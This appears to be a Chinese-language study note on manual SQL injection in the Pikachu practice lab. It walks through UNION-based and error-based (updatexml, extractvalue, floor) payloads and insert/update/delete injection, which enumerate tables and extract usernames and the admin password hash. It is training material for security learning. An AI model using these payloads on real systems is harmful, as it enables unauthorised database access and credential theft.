搜索型注入
构造闭合 like '%xxx%' or 1=1 #%' payload: xxx%' or 1=1 #
xx型注入
构造闭合 = ('xx') or 1=1 #') payload: xx') or 1=1 #
SQL注入手动测试-基于union的信息获取
union 联合查询:可以通过联合查询来查询指定的数据
用法举例:
select username,password from user where id=1 union select 字段1,字段2 from 表名
联合查询的字段数需要和主查询(第一个select)一致!
联合查询的演示(选择字符型注入get模块)
payload:
先进行字段的猜测(使用二分法)a' order by 5# a'order by 3# a'order by 2#
a' union select database(),user()#
a' union select version(),4# //4的意思是,我们可以自己填一个字段进去。
information_schema注入
仍然以字符型注入(get)做下测试
payload:
kobe' order by 3#
kobe' order by 2# 确认为两个字段
kobe' union select database(),user()# 获得数据库名称 pikachu
获取表名
kobe' union select table_schema,table_name from information_schema.tables where table_schema='pikachu'#
进一步的测试,发现表名user。会不会账号密码在这个表里呢?
获取user表的字段名
kobe' union select table_name,column_name from information_schema.columns where table_name='user'#
kobe' union select username,password from users# 这长度一看就知道密码使用md5加密过的
SQL注入手动测试-基于函数报错的信息获取
●常用的函数updatexml()、extractvalue()、floor()
●基于函数报错的信息获取(select/insert/update/delete)
技巧思路:
在MYSQL中使用一些指定的函数来制造报错,从而从报错信息中获取设定的信息。
select/insert/update/delete都可以用来报错来获取信息。
背景条件(前提条件):
后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端。
基于报错的信息获取-三个常用的用来报错的函数
updatexml():函数是MYSQL对XML文档数据进行查询和修改的XPATH函数。
extractvalue():函数也是MYSQL对XML文档数据进行查询的XPATH函数。
floor():MYSQL中用来取整的函数。
updatexml演示(SQL注入-字符型(get)):
在做基于报错方法获取数据的时候,首先得确定这个点是不是报错型的SQL注入。构造错误语法(单引号之类的)可以看到报错会返回到前端来
payload:(下面的0x7e是~的十六进制,这里也可以用其他符号的十六进制,在这里的作用是保证报错的内容不被吃掉)
kobe' and updatexml(1,concat(0x7e,version()),0)# 1这个表示不存在的,version()为要替换的值,0为要替换的值
kobe' and updatexml(1,concat(0x7e,database()),0)# 这三个参数都是错误的,关键点在于中间的值,这个函数。
同样的我们可以把中间这个database()换成我们之前用过的select查询
kobe' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu')),0)#
但显示了这个 报错内容只能一次显示一行,说明updatexml()这个函数报错的时候只能显示一行
咋办呢???也很简单无非就是我们多操作几次
下面的limit 0,1 是什么意思呢???把查询出来的所有的数据从第0个位置开始取,步长为1。
kobe' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0)#
得到第一个表的名称,之后的表名称咋办呢???只需把limit 0,1 换成 limit 1,1(limit 2,1)
获取表名之后,在获取列名(只需在获取表名的基础上改标记部分就行),思路是一样的
kobe' and updatexml (1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1)),0)#
获取到列名称后,再来获取数据(密码是md5编码的,去网页解码下就行):
kobe' and updatexml(1,concat(0x7e,(select username from users limit 0,1)),0)#
kobe' and updatexml(1,concat(0x7e,(select password from users where username='admin' limit 0,1)),0)#
基于extractvalue() extractvalue使用起来效果和updatexml是一模一样的
还是在字符型注入(get)
kobe' and extractvalue(0,concat(0x7e,version()))#
基于报错的信息获取-三个常用函数-floor 取整函数
重点:::floor这个函数要构成报错,在它的运算表达式里,必须要下面三个
前面是一个闭合,,and,,表达式(表达式的结果会用a去做一个别名)
kobe' and (select 2 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)#
还是去字符型注入(get)测试下
同样的我们可以把这个version()表达式替换成我们想要的,
kobe' and (select 2 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)#
把version()换成 (select password from users where username='admin' limit 0,1)
kobe' and (select 2 from (select count(*),concat((select password from users where username='admin' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#替换后
insert/update注入
重点::: insert/update和delete和我们之前讲的selet不同的地方就在于,我们没法用union做联合查询
因为它不是一个查询,而是一个操作。一般来说要获取数据的话,我们就可以通过报错的方式获取。
先去注册个账号,发现账号和密码填写 单引号会语法报错,
基于insert下的报错:
xiaoming' or updatexml(1,concat(0x7e,database()),0) or '
也可以用xiaoming' and extractvalue(0,concat(0x7e,version())) or ' (之前讲过了extractvalue和updatexml的原理、效果是一模一样的)
提交
update下的报错,update部分和insert部分是差不多的,我们先注册好一个账号进去登录,
修改个人信息(修改显然通过update去操作后台数据库),再次使用insert的payload
结果
delete注入
基于delete下的报错:
在删除的的时候(没留言可删,现编几个)抓下包,发送给Repeater,id=
1 or updatexml(1,concat(0x7e,database()),0)
也可以用 1 or extractvalue(1,concat(0x7e,database())) (之前讲过了extractvalue和updatexml的原理、效果是一模一样的)
而我们的参数是以url方式(get请求)提交的,所以我们要对payload做一下url编码(直接利用Burp Suite自带的转换工具)
Go,完成
extractvalue()